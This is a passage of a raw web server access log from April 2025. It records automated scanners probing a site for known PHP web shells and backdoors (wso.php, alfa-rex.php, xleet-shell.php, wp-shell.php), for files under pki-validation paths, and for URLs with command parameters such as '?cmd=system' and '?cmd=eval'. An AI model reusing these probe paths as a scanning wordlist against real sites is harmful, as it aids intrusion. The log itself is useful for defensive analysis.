"-" "-" 52.164.127.136 - - [30/Apr/2025:07:38:30 -0400] "GET /wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:38:30 -0400] "GET /wp-includes/sodium_compat/src/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:38:31 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:38:31 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:38:33 -0400] "GET /wp-includes/sodium_compat/src/Core32/Curve25519/Ge//Core32.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:38:33 -0400] "GET /wp-includes/sodium_compat/src/Core32/Curve25519/Ge/about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:38:33 -0400] "GET /wp-includes/sodium_compat/src/Core32/Poly1305/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:38:34 -0400] "GET /wp-includes/sodium_compat/src/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:38:34 -0400] "GET /wp-includes/sodium_compat/src/content.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:38:35 -0400] "GET /wp-includes/sodium_compat/src/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:38:35 -0400] "GET /wp-includes/sodium_compat/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:38:36 -0400] "GET /wp-includes/style-engine/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:38:36 -0400] "GET /wp-includes/style-engine/about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:38:37 -0400] "GET /wp-includes/style-engine/admiin.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:38:37 -0400] "GET /wp-includes/style-engine/admin.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:38:38 -0400] "GET /wp-includes/style-engine/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:38:38 -0400] "GET /wp-includes/style-engine/content.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:38:39 -0400] "GET /wp-includes/style-engine/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:38:39 -0400] "GET /wp-includes/style-engine/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:38:40 -0400] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:38:40 -0400] "GET /wp-includes/theme-compat/about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:38:41 -0400] "GET /wp-includes/theme-compat/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:38:41 -0400] "GET /wp-includes/theme-compat/chosen.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:38:42 -0400] "GET /wp-includes/theme-compat/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:38:43 -0400] "GET /wp-includes/theme-compat/wp-conflg.php/wp-content/plugins/google-seo-rank/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:38:43 -0400] "GET /wp-includes/theme-compat/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:38:44 -0400] "GET /wp-includes/theme-compat/x2.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:38:44 -0400] "GET /wp-includes/themes.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:38:45 -0400] "GET /wp-includes/upload.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:38:45 -0400] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:38:46 -0400] "GET /wp-includes/widgets//class-wp-widget-tag.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:38:46 -0400] "GET /wp-includes/widgets/about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:38:47 -0400] "GET /wp-includes/widgets/about.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:38:48 -0400] "GET /wp-includes/widgets/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:38:49 -0400] "GET /wp-includes/widgets/xBrain.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:38:49 -0400] "GET /wp-includes/wjacfltdmPx.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:38:49 -0400] "GET /wp-includes/wp-activate.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:38:50 -0400] "GET /wp-includes/wp-atom.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:38:51 -0400] "GET /wp-includes/wp-class.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:38:51 -0400] "GET /wp-includes/wp-class.php/wp-content/uploads/wp_live_chat/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:38:52 -0400] "GET /wp-includes/wp-class.php/wp-content/uploads/wplivechat/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:38:52 -0400] "GET /wp-includes/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:38:53 -0400] "GET /wp-includes/wp-includes_function.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:38:54 -0400] "GET /wp-includes/wp-load.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:38:54 -0400] "GET /wp-includes/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:38:55 -0400] "GET /wp-includes/wp-shell.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:38:55 -0400] "GET /wp-includes/x2.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:38:56 -0400] "GET /wp-index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:38:56 -0400] "GET /wp-info.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:38:57 -0400] "GET /wp-json/wp/v2/posts?cmd=system HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:38:58 -0400] "GET /wp-l0gin.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:38:59 -0400] "GET /wp-links.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:38:59 -0400] "GET /wp-load.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:39:00 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:39:01 -0400] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:39:01 -0400] "GET /wp-mail.php/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:39:02 -0400] "GET /wp-mail.php/wp-includes/ID3/.info.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:39:02 -0400] "GET /wp-mail.php/wp-includes/ID3/class-config.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:39:03 -0400] "GET /wp-mail.php/wp-includes/ID3/rk2.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:39:04 -0400] "GET /wp-one.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:39:04 -0400] "GET /wp-post.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:39:05 -0400] "GET /wp-scripts.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:39:05 -0400] "GET /wp-seo.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:39:06 -0400] "GET /wp-settings.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:39:07 -0400] "GET /wp-signin.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:39:07 -0400] "GET /wp-signup.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:39:08 -0400] "GET /wp-theme.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:39:08 -0400] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:39:09 -0400] "GET /wp-uploads.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:39:09 -0400] "GET /wp-wso.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:39:11 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:39:12 -0400] "GET /wp.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:39:13 -0400] "GET /wp2.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:39:14 -0400] "GET /wp_class_datalib.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:39:14 -0400] "GET /wp_wrong_datlib.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:39:15 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:39:16 -0400] "GET /ws.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:39:16 -0400] "GET /wsa.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:39:17 -0400] "GET /wso.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:39:18 -0400] "GET /wso112233.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:39:18 -0400] "GET /wso2.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:39:19 -0400] "GET /wsoyanz.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:39:20 -0400] "GET /x.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:39:20 -0400] "GET /x/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:39:21 -0400] "GET /x2.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:39:21 -0400] "GET /xindex.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:39:22 -0400] "GET /xl.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:39:22 -0400] "GET /xleet-shell.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:39:23 -0400] "GET /xleet.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:39:24 -0400] "GET /xml.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:39:25 -0400] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:39:25 -0400] "GET /xmlrpc.php0 HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:39:26 -0400] "GET /xmlrpc.php?cmd=eval HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:39:26 -0400] "GET /xmlrpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:39:27 -0400] "GET /xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:39:27 -0400] "GET /xx.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:39:28 -0400] "GET /xxx.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:39:28 -0400] "GET /xz.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:39:29 -0400] "GET /y7.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:39:31 -0400] "GET /yanz.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:39:32 -0400] "GET /ynz.PhP7 HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:39:34 -0400] "GET /yq7.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:39:36 -0400] "GET /z.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:39:37 -0400] "GET /z63.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:39:39 -0400] "GET /zT.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:39:39 -0400] "GET /zqBSIrn38Ja.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:39:40 -0400] "GET /zwso.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:39:41 -0400] "GET /zz.php HTTP/1.1" 301 795 "-" "-" 43.157.142.101 - - [30/Apr/2025:08:15:09 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 162.0.232.217 - - [30/Apr/2025:08:32:44 -0400] "GET /.well-known/pki-validation/wp-admin/install.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [30/Apr/2025:08:33:12 -0400] "GET /.well-known/pki-validation/amaxx.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [30/Apr/2025:08:33:19 -0400] "GET /.well-known/pki-validation/ssl.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [30/Apr/2025:08:33:26 -0400] "GET /.well-known/pki-validation/autoload_classmap.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [30/Apr/2025:08:33:40 -0400] "GET /.well-known/pki-validation/ibkejxnu.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [30/Apr/2025:08:33:41 -0400] "GET /.well-known/pki-validation/content.php.suspected HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [30/Apr/2025:08:33:50 -0400] "GET /.well-known/pki-validation/wp-scripts.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [30/Apr/2025:08:33:54 -0400] "GET /.well-known/pki-validation/lang-load-role.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [30/Apr/2025:08:34:13 -0400] "GET /.well-known/pki-validation/doc.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [30/Apr/2025:08:34:21 -0400] "GET /.well-known/pki-validation/shell.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [30/Apr/2025:08:34:22 -0400] "GET /.well-known/pki-validation/top.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [30/Apr/2025:08:34:22 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [30/Apr/2025:08:34:26 -0400] "GET /.well-known/pki-validation/themes.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [30/Apr/2025:08:34:27 -0400] "GET /.well-known/pki-validation/gkiliuew.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [30/Apr/2025:08:34:28 -0400] "GET /.well-known/pki-validation/plugins.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [30/Apr/2025:08:34:32 -0400] "GET /.well-known/pki-validation/wp-login.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [30/Apr/2025:08:34:43 -0400] "GET /.well-known/pki-validation/LA.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [30/Apr/2025:08:34:46 -0400] "GET /.well-known/pki-validation/classwithtostring.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [30/Apr/2025:08:34:52 -0400] "GET /.well-known/pki-validation/admin.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [30/Apr/2025:08:35:05 -0400] "GET /.well-known/pki-validation/install.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [30/Apr/2025:08:35:11 -0400] "GET /.well-known/pki-validation/101d2ae2-f2f3-4977-b35d-b3a0ad74a469.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [30/Apr/2025:08:35:23 -0400] "GET /.well-known/pki-validation/mar.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [30/Apr/2025:08:35:36 -0400] "GET /.well-known/pki-validation/ckyocyyp.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [30/Apr/2025:08:35:40 -0400] "GET /.well-known/pki-validation/dropdown.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [30/Apr/2025:08:35:52 -0400] "GET /.well-known/pki-validation/sx.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [30/Apr/2025:08:36:10 -0400] "GET /.well-known/pki-validation/a.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [30/Apr/2025:08:36:16 -0400] "GET /.well-known/pki-validation/Newsupway.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [30/Apr/2025:08:36:34 -0400] "GET /.well-known/pki-validation/content.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [30/Apr/2025:08:36:52 -0400] "GET /.well-known/pki-validation/fond.php HTTP/1.1" 301 795 "-" "get_local:DCV" 182.42.111.156 - - [30/Apr/2025:08:37:17 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 162.0.232.217 - - [30/Apr/2025:08:37:20 -0400] "GET /.well-known/pki-validation/moon.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [30/Apr/2025:08:37:24 -0400] "GET /.well-known/pki-validation/worksec.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [30/Apr/2025:08:37:43 -0400] "GET /.well-known/pki-validation/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "get_local:DCV" 51.38.225.46 - - [30/Apr/2025:08:37:56 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Trident/6.0; Touch; MASMJS)" 34.130.120.204 - - [30/Apr/2025:08:53:28 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0 Safari/537.36" 43.205.98.73 - - [30/Apr/2025:09:10:31 -0400] "HEAD /wordpress HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 43.205.98.73 - - [30/Apr/2025:09:10:33 -0400] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 43.205.98.73 - - [30/Apr/2025:09:10:35 -0400] "HEAD /wp HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 43.205.98.73 - - [30/Apr/2025:09:10:35 -0400] "HEAD /bc HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 43.205.98.73 - - [30/Apr/2025:09:10:36 -0400] "HEAD /bk HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 43.205.98.73 - - [30/Apr/2025:09:10:37 -0400] "HEAD /backup HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 43.205.98.73 - - [30/Apr/2025:09:10:39 -0400] "HEAD /old HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 43.205.98.73 - - [30/Apr/2025:09:10:40 -0400] "HEAD /new HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 43.205.98.73 - - [30/Apr/2025:09:10:41 -0400] "HEAD /main HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 43.205.98.73 - - [30/Apr/2025:09:10:42 -0400] "HEAD /home HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 46.148.206.226 - - [30/Apr/2025:09:27:13 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 CCleaner/130.0.0.0" 216.131.112.246 - - [30/Apr/2025:10:06:49 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" 216.244.66.237 - - [30/Apr/2025:10:12:41 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 35.215.64.45 - - [30/Apr/2025:10:30:11 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko; compatible; BW/1.3; rb.gy/qyzae5) Chrome/124.0.0.0 Safari/537.36" 52.178.157.95 - - [30/Apr/2025:10:40:08 -0400] "GET /browse.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:40:14 -0400] "GET /xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:40:16 -0400] "GET /wp-admin/repeater.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:40:20 -0400] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:40:23 -0400] "GET /wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:40:26 -0400] "GET /wp-content/gallery/about.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:40:27 -0400] "GET /admin/uploads/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:40:29 -0400] "GET /mail.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:40:34 -0400] "GET /cron.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:40:37 -0400] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:40:39 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:40:40 -0400] "GET /M1.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:40:41 -0400] "GET /ae.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:40:42 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:40:44 -0400] "GET /wp-admin/includes/index.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:40:46 -0400] "GET /headerg.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:40:48 -0400] "GET /classwithtostring.php?p= HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:40:50 -0400] "GET /wp-content/plugins/seoo/alfa-rex1.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:40:52 -0400] "GET /wp-files.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:40:54 -0400] "GET /alfa-rex.php HTTP/1.1" 301 795 "-" "-" 51.222.253.8 - - [30/Apr/2025:10:40:55 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; AhrefsBot/7.0; +http://ahrefs.com/robot/)" 52.178.157.95 - - [30/Apr/2025:10:40:55 -0400] "GET /content.php888 HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:40:56 -0400] "GET /cgi-bin/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:40:58 -0400] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:40:59 -0400] "GET /wp-content/themes/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:41:01 -0400] "GET /wp-includes/repeater.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:41:02 -0400] "GET /wp-admin/meta/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:41:03 -0400] "GET /blog.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:41:04 -0400] "GET /buy.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:41:06 -0400] "GET /options.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:41:07 -0400] "GET /wp-includes/html-api/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:41:08 -0400] "GET /max.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:41:10 -0400] "GET /hello.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:41:11 -0400] "GET /wp-includes/block-patterns/about.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:41:12 -0400] "GET /system/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:41:13 -0400] "GET /ralphwetzel/theonionbox HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:41:15 -0400] "GET /wp-content/languages/index.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:41:16 -0400] "GET /wp-content/themes/twentytwentytwo/index.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:41:18 -0400] "GET /wp-content/plugins/seoplugins/db.php?u HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:41:18 -0400] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:41:19 -0400] "GET /priv.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:41:21 -0400] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:41:23 -0400] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:41:24 -0400] "GET /wp-admin/includes/ HTTP/1.1" 301 795 